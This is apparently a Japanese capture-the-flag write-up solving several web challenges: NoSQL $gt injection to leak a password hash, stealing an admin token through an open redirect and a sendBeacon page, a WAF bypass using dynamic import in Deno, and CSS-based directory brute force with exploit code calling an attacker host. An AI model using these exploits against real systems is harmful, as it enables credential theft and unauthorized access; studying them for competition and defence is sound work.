$ python3 t.py l=15 k ky ky0 ky0m ky0mu ky0muk ky0muky ky0muky0 ky0muky0m ky0muky0mu ky0muky0mup ky0muky0mupu ky0muky0mupur ky0muky0mupur1 ky0muky0mupur1n username='ky0muky0mupur1n'
次はパスワードのハッシュ値を特定していきたいが、今度は waf
関数によって $regex
の使用がブロックされてしまっている。ほかに有用な演算子がないか探すと、$gt
演算子が見つかった。これは指定した値よりも大きな値を持つかを確認できる演算子だけれども、数値だけでなく文字列にも対応している。
パスワードのハッシュ値が cdef
である場合を考える。このとき、cdef > azzz
だし cdef > bzzz
だが、cdef > czzz
ではない。こういう感じで1文字ずつブルートフォースしていき、クエリの結果の変化を観測していけばよさそうだ。
先ほどのスクリプトに、次のような処理を付け加える。
# leak password l = 64 password = '' t = '0123456789abcdef' for j in range(l - len(password)): for i, c in enumerate(t): time.sleep(.1) tmp = password + c r = client.post('/login', json={ 'username': username, 'password_hash': { '$gt': tmp.ljust(l, 'z') } }) if 'DO NOT CHEATING' not in r.text: password += c print(password) break print(f'{password=}') # done! r = client.post('/login', json={ 'username': username, 'password_hash': password }) print(r.text)
実行すると、フラグが得られた。
$ python3 t.py … d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff3 d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31 d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a password='d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a' {"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"}
ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}
[Web 98] wooorker2 (106 solves)
トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!
(URL)
添付ファイル: wooorker2.tar.gz
タグ:
author:yuasa
,medium
問題の概要
wooorkerの続きらしい。diff -ru ../../wooorker/wooorker/ .
というようなコマンドを実行し、ソースコードにどのような変更が加えられたかを確認する。重要な変更点は次の通り。トークンがクエリパラメータでなくフラグメント識別子でやりとりされるようになったらしい。フラグメント識別子はサーバ側には渡されないので、先ほどの解法では解けない。
diff -ru ../../wooorker/wooorker/app/public/flag.js ./app/public/flag.js --- ../../wooorker/wooorker/app/public/flag.js 1995-11-12 08:06:09.000000000 +0900 +++ ./app/public/flag.js 1995-11-12 08:06:09.000000000 +0900 @@ -1,5 +1,5 @@ document.addEventListener('DOMContentLoaded', async() => { - const token = new URLSearchParams(window.location.search).get('token'); + const token = location.hash.split('=')[1]; if (!token) { document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>"; return;
diff -ru ../../wooorker/wooorker/app/public/main.js ./app/public/main.js --- ../../wooorker/wooorker/app/public/main.js 1995-11-12 08:06:09.000000000 +0900 +++ ./app/public/main.js 1995-11-12 08:06:09.000000000 +0900 @@ -19,9 +19,9 @@ const next = params.get('next'); if (next) { - window.location.href = next.includes('token=') ? next: `${next}?token=${token}`; + window.location.href = next.includes('token=') ? next: `${next}#token=${token}`; } else { - window.location.href = `/?token=${token}`; + window.location.href = `/#token=${token}`; } } };
解く
フラグメント識別子はサーバ側からは参照できないけれども、クライアント側のJavaScriptからであれば location.hash
から参照できる。login?next=https://example.com/
からログインした場合、https://example.com/#token=…
へ遷移されるはずだけれども、このとき https://example.com/
から location.hash
を参照すると、その中身は #token=…
というような文字列になっており、トークンが得られるはずだ。
ngrokを使うなりVPSを使うなりして、外部からアクセスできるような自分の管理するサーバを用意する。ここで、次のようにして location.hash
を取得するようなHTMLを用意し、python3 -m http.server
なり php -S 0.0.0.0:8000
なり、なんでもよいのでWebサーバを立ち上げてホストする。
$ cat a.html <script> navigator.sendBeacon('/log.phg?' + location.hash.slice(1)); </script> $ php -S 0.0.0.0:8000 …
login?next=(用意したWebサーバのURL)
をレポートすると、次のように admin
がトークンを背負ってやってきた。
… [Sun Jun 16 10:46:52 2024] … [404]: POST /log.phg?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTAyNDEzLCJleHAiOjE3MTg1MDYwMTN9.YISPIm61TlzQ2xC7U8AmHF17Ygj8oKJUfPNuqV6s-ls - No such file or directory …
このトークンを使って /#token=(窃取したトークン)
にアクセスすると、フラグが得られた。
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
[Web 174] flagAlias (28 solves)
以下のコマンドを実行して、問題サーバのURLを取得してください。
(問題サーバへの接続情報)
実行すると
hashcash -mb26 <RANDOM ID>
とhashcash token:
という表示が出ます。<RANDOM ID>
の部分は毎回変わります。
hashcash
コマンドを使用してhashcash -mb26 <RANDOM ID>
を実行し、hashcash token:
の部分に入力してください。すると、問題サーバのURLと認証情報が表示されます。添付ファイル: flagAlias.tar.gz
タグ:
author:xryuseix
,medium
問題の概要
与えられたURLにアクセスすると、次のようなフォームが表示された。
とりあえずプレースホルダーとして入力されているJSコードをそのまま送信してみる。すると、次のような配列が返ってきた。なるほど、その3つ目の要素に入っている配列の、1つ目の要素にこのJSコードの実行結果が入っているらしい。
ソースコードを確認する。docker-compose.yaml
は次の通り。
services: app: build: ./app restart: always environment: - PORT=8080 nginx: build: ./nginx restart: always ports: - "8080:80" links: - app depends_on: - app
nginx
はこれまでとほぼ同じなのでスキップして app
を見ていく。Dockerfile
は次の通り。どうやらDenoというJSランタイムを使っているようだ。
FROM denoland/deno:alpine-1.42.0 WORKDIR /app ENV PATH="/root/.deno/bin:$PATH" COPY . . RUN adduser -D ctf4b USER ctf4b CMD ["deno", "task", "run"]
deno task
というサブコマンドについて調べると、どうやら deno.json
または deno.jsonc
という設定ファイルの、tasks
という項目から対応するタスクを持ってきて、それをOSコマンドとして実行してくれるらしい。
deno.jsonc
は次の通り。main.ts
を実行する単純な作りになっている。ここで --allow-sys
, --allow-net
, --allow-env
というオプションが付与されているが、これらはいずれもDenoのパーミッションに関連するものだ。デフォルトではファイルの読み書きや環境変数へのアクセスといったことができないが、これらのオプションを付与することでオプトイン的にそれらの制限されている機能を使えるようになる。この場合は、Deno.osRelease
のようなOS情報を取得できるAPIの利用、ネットワークアクセス、環境変数へのアクセスをそれぞれ許可している。
{ "tasks": { // DO NOT USE --allow-read flag "run": "DENO_NO_PROMPT=1 deno run --allow-sys --allow-net --allow-env main.ts" } }
main.ts
を見ていく。非常にシンプルな作りだ。まず、HTTPサーバの部分は次のとおり。ユーザから受け取ったJSONについて、その alias
というプロパティ(つまり、フォームで入力されたJSコードだ)をそのまま chall
という関数へ渡し、その返り値をレスポンスとして返している。
// … const handler = async (request: Request): Promise<Response> => { try { const body = JSON.parse(await request.text()); const alias = body?.alias; return new Response(await chall(alias), { status: 200 }); } catch (_) { return new Response('{"error": "Internal Server Error"}', { status: 500 }); } }; if(Deno.version.deno !== "1.42.0"){ console.log("Please use deno 1.42.0"); Deno.exit(1); } const port = Number(Deno.env.get("PORT")) || 3000; Deno.serve({ port }, handler);
chall
の実装は次の通り。ユーザから与えられたコードに eval
やら Deno
やら変なものが含まれていないか確認した上で eval
している。ダミーのフラグは flag.ts
に含まれる関数で生成しているらしい。
import * as flag from "./flag.ts"; function waf(key: string) { // Wonderful WAF :) const ngWords = [ "eval", "Object", "proto", "require", "Deno", "flag", "ctf4b", "http", ]; for (const word of ngWords) { if (key.includes(word)) { return "'NG word detected'"; } } return key; } export async function chall(alias = "`real fl${'a'.repeat(10)}g`") { const m: { [key: string]: string } = { "wonderful flag": "fake{wonderful_fake_flag}", "special flag": "fake{special_fake_flag}", }; try { // you can set the flag alias as the key const key = await eval(waf(alias)); m[key] = flag.getFakeFlag(); return JSON.stringify(Object.entries(m), null, 2); } catch (e) { return e.toString(); } }
flag.ts
の内容は次の通り。なるほど、getFakeFlag
のほかに名前が不明な関数があるらしい。おそらくここに本物のフラグが含まれているのだろう。
export function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() { // **REDACTED** return "**REDACTED**"; } export function getFakeFlag() { return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"; }
解く
さて、これでこの問題のゴールは flag.ts
に含まれる関数の実装を知ることであるとわかった。一部NGワードはありつつも eval
でほぼ任意のJSコードが実行できるわけだが、なんとかならないだろうか。
まず Deno.readTextFile
のようなAPIを使って flag.ts
の読み込みができないかと考えるが、ドキュメント中にも "Requires allow-read
permission" とあるように、テキストファイルとしての読み込みは --allow-read
オプションが付与されていなければ不可能だ。
ではJS(TS)ファイルとしての読み込みであれば、allow-read
のパーミッションがなくとも呼び出せるのではないかと考える。ただ、import "./flag.ts"
のようにしてもNGワード(flag
)に引っかかってしまうし、import "./fl"+"ag.ts"
のように文字列を分割してNGワードを回避しようにも文法的に許されていない。そもそも import
文でのモジュールのインポートは "Cannot use import statement outside a module" と怒られてしまう。
しかしながら、JavaScriptにはdynamic importという仕組みがあり、たとえば import('test').then(r => { … })
のように関数呼び出しのような形でモジュールを読み込むことができる。こちらであれば import
文を使おうとしてぶつかった2つの制約もないはずだ。試しに import('./fl'+'ag.ts')
を入力してみると、"Cannot convert object to primitive value" というようなエラーメッセージが出た。import
自体が怒られているわけではないようだ。
さて、このモジュールに含まれる関数の一覧が知りたい。Object.keys
が楽な方法だが、Object
がNGワードに含まれてしまっている。けれども、適当なオブジェクトの constructor
プロパティを参照すれば Object
が取り出せるだろう。const o='construc'+'tor'; ({})[o].keys
で Object.keys
を取り出すことができた。
これを利用して、次のようなコードで getRealFlag_yUC2BwCtXEkg
という関数が存在していることがわかった。
(async () => { const o='construc'+'tor'; const k = ({})[o].keys; return k(await import('./fl'+'ag.ts')); })()
あとは getRealFlag_yUC2BwCtXEkg
の定義を取り出すだけだ。次のようにして関数を無理やり文字列化してやると、コメント中にフラグが含まれていた。
(async () => { const o='construc'+'tor'; const k = ({})[o].keys; return (await import('./fl'+'ag.ts')).getRealFlag_yUC2BwCtXEkg + ''; })()
ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}
[Web 290] htmls (9 solves)
HTMLファイルからlsコマンドを叩ける?
(URL)
※負荷軽減のためリクエストにはレート制限がかかっています。総当たりは不要です。サーバはリセットされることがあります。
添付ファイル: htmls.tar.gz
タグ:
author:Satoki
,hard
問題の概要
与えられたURLにアクセスすると、次のようにHTMLの入力を促された。適当なHTMLを送信してみると、BotがそのHTMLを閲覧したというメッセージが表示される。そうですか。
ソースコードを見ていく。docker-compose.yml
は次の通り。
services: uwsgi: build: ./crawler environment: TZ: "Asia/Tokyo" expose: - "7777" restart: always nginx: build: ./nginx links: - uwsgi ports: - "31417:80" environment: TZ: "Asia/Tokyo" restart: always
nginx
はスキップして uwsgi
を見ていく。Dockerfile
は次の通り。make_flag.sh
の実行後にuWSGIを実行している。
FROM ubuntu:22.04 ENV DEBIAN_FRONTEND noninteractive RUN apt-get -y update && apt-get -y upgrade RUN apt-get -y install bash\ python3 \ python3-pip \ libdrm2 \ libgbm1 \ libnss3 \ libnspr4 \ libasound2 \ libgtk-3-0 \ libx11-xcb1 RUN mkdir -p /var/www/htmls WORKDIR /var/www COPY ./ ./ RUN pip3 install -r requirements.txt ENV LANG C.UTF-8 RUN chmod 755 -R /var/www RUN chmod 777 /var/www/htmls RUN adduser -u 1000 htmls USER htmls RUN mkdir /var/www/htmls/ctf RUN playwright install CMD bash -c "./make_flag.sh && uwsgi --ini /var/www/uwsgi.ini"
make_flag.sh
の内容は次の通り。/var/www/htmls/ctf
下に、ランダムな深さで n/3/k/0/…/
というようにランダムな名前のディレクトリを作成し、そこに flag.txt
というファイル名でフラグを置いているようだ。なお、ディレクトリ名は 0-9a-z
の36種類だ。
#!/bin/bash rm -rf /var/www/htmls/ctf/* base_path="/var/www/htmls/ctf/" depth=$((RANDOM % 10 + 15)) current_path="$base_path" for i in $(seq 1 $depth); do char=$(printf "%d" $((RANDOM % 36))) if [[ $char -lt 26 ]]; then char=$(printf "\\$(printf "%03o" $((char + 97)) )") else char=$(printf "%d" $((char - 26))) fi current_path+="${char}/" mkdir -p "$current_path" done echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"
uwsgi.ini
で wsgi-file
として指定されている capp.py
の内容は次の通り。非常にシンプルで、先ほど表示されていた「HTMLファイルをBotが閲覧」するというのは、ランダムなファイル名で入力されたHTMLを保存し、Chromiumが file://
スキームでそのHTMLにアクセスするということだったらしい。ただし、await browser.new_context(java_script_enabled=False)
とされていることからわかるように、JSは無効化されている。
/flag/<path:flag_path>
というルートもあるけれども、これは指定したディレクトリの flag.txt
を返すものだ。このAPIを叩く前に make_flags.sh
によって生成されたディレクトリを完全に特定する必要がある。
import os import uuid import asyncio from playwright.async_api import async_playwright from flask import Flask, send_from_directory, render_template, request app = Flask(__name__) @app.route("/", methods=["GET"]) def index_get(): return render_template("index.html") async def crawl(filename): async with async_playwright() as p: browser = await p.chromium.launch() context = await browser.new_context(java_script_enabled=False) page = await context.new_page() await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000) await browser.close() @app.route("/", methods=["POST"]) def index_post(): try: html = request.form.get("html") filename = f"{uuid.uuid4()}.html" with open(f"htmls/{filename}", "w+") as f: f.write(html) asyncio.run(crawl(f"{filename}")) os.remove(f"htmls/{filename}") except: pass return render_template("ok.html") @app.route("/flag/<path:flag_path>") def flag(flag_path): return send_from_directory("htmls/ctf/", os.path.join(flag_path, "flag.txt")) if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=31417)
解く
ここまでで、この問題のゴールはランダムに生成された n/3/k/0/…
のような各ディレクトリの名前を特定することだとわかった。ローカルのディレクトリが存在していることをJSなしで知る方法はあるだろうか。それができれば、1階層ずつブルートフォースで特定していくことができるけれども。
Chromiumでは、file://
スキームでディレクトリにアクセスすると、次のようにファイルやディレクトリの一覧が表示される。
<iframe src="/tmp/tmpspace.rVGKimBgZx/b/"></iframe>
のように iframe
で表示させることもできる。
もちろん、指定したパスでファイルやディレクトリが存在しなければ次のようにエラーメッセージが表示される。
iframe
で存在しないファイルやディレクトリを表示させようとした場合も、もちろん次のように怒られが発生する。
では、これらの挙動をもとに、JSを使わず、あるパスにファイルやディレクトリが存在するかどうかを判別することはできるだろうか。iframe
のようにHTMLを埋め込むことのできる要素で読み込みが失敗した際に、フォールバックコンテンツが表示されるような仕組みはないだろうかと考えた。そこでまず思いついたのが object
要素だった。
b
というディレクトリが存在しており、a
と c
というディレクトリは存在していない状況で、次のような a.html
というHTMLファイルがあるとする。
<object data="a">a</object> <object data="b">b</object> <object data="c">c</object>
Chromiumで開いてやると、2つ目の object
要素以外ではそれぞれフォールバックコンテンツである a
と c
というテキストが表示されていることがわかる。これらの違いを活用できないか。
まず、<object data="b"><img src=https://example.com?b></object>
のようにフォールバックコンテンツとして img
要素を使う方法を思いついた。しかしながら、実際にはディレクトリが存在している場合にも src
属性で指定しているURLへのリクエストが飛んでしまっていた。
では、次のようにCSS経由で画像へのリクエストが行われるような場合はどうかと考えた。今度はうまくいき、https://example.com?b
へのリクエストのみが発生しなかった。
<style> .a { background: url('https://example.com?a'); } .b { background: url('https://example.com?b'); } .c { background: url('https://example.com?c'); } </style> <object data="a"><div class="a"></div></object> <object data="b"><div class="b"></div></object> <object data="c"><div class="c"></div></object>
これを1階層ずつのブルートフォースに利用していく。ランダムに生成された各ディレクトリ名は36通りであるから、そのすべてを object
要素の data
属性で指定し、またフォールバックコンテンツで表示される背景画像もそれぞれユニークなものにする。その中で唯一リクエストが発生しなかった背景画像に対応するディレクトリ名が正解だ。ということで、自動でペイロードの生成等をやってくれるスクリプトを書こう。
import string import threading import time import httpx from flask import Flask, send_from_directory, render_template, request CHALL_HOST = 'https://htmls.beginners.seccon.games/' ATTACKER_HOST = 'http://example.com:8000/' app = Flask(__name__) table = set(string.digits + string.ascii_lowercase) known = '' def go(): while True: with httpx.Client(base_url=CHALL_HOST) as client: test = '' t = list(string.digits + string.ascii_lowercase) test += '<style>' for c in t: test += f".a{c} {{ background: url('{ATTACKER_HOST}x/{c}') }}" test += '</style>' for c in t: test += f'''<object data="file:///var/www/htmls/ctf/{known}{c}"><div class="a{c}"></div></object>''' r = client.post('/', data={ 'html': test }) if '503' not in r.text: break time.sleep(5) def get_flag(): with httpx.Client(base_url=CHALL_HOST) as client: r = client.get(f'/flag/{known}') print('[flag]', r.text) def reset(): global table table = set(string.digits + string.ascii_lowercase) def done(): global known if len(table) == 0: # いずれも当たらず。攻撃終了 print('[done]', known) get_flag() else: # 当たった known += table.pop() + '/' print(f'{known=}') reset() go() @app.route("/x/<c>", methods=["GET"]) def x(c): table.discard(c) if len(table) == 1: timer = threading.Timer(3, done) timer.start() return 'ok' @app.route("/start", methods=['GET']) def start(): go() return 'ok' app.run(host="0.0.0.0", port=8000, debug=True)
このスクリプトを実行し、Webサーバが立ち上がったら /start
を叩いて攻撃を開始させる。すると、自動で1個ずつディレクトリを特定していき、最後にはフラグを取得してくれる。
$ python3 s.py … [done] q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/l/ [flag] ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}
ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}
*1:最後にwooorkerを残していたが、クローラのキューが詰まっていたようでbotによるクロールに時間がかかり、ようやく処理されたのは18時半ごろだった。17時にはwooorker以外の問題は解けており、またwooorkerもローカルでは攻撃に成功していたので「実質」3時間とした
*2:ここでエラーメッセージは "Detected LFI ;(" とされているが、ローカルファイルを読めるだけでLFI(Local File Inclusion)とは個人的には呼びたくない。LFIとは、たとえばPHPにおけるincludeやrequire相当の機能が利用されている場面において、引数がユーザによってコントロールできてしまうような状況(CWE-98)をよぶのだと考えている。もっとも、PHPではファイルが読めるだけの状況と、PHPコードとしての実行までできてしまっている状況とを区別する必要があり、したがってLFIとそれ以外を呼び分ける必要性もあるが、今回の問題のようにそれ以外の言語ではそういった必要性はないのでは? と言われると、そうですね…としか言えない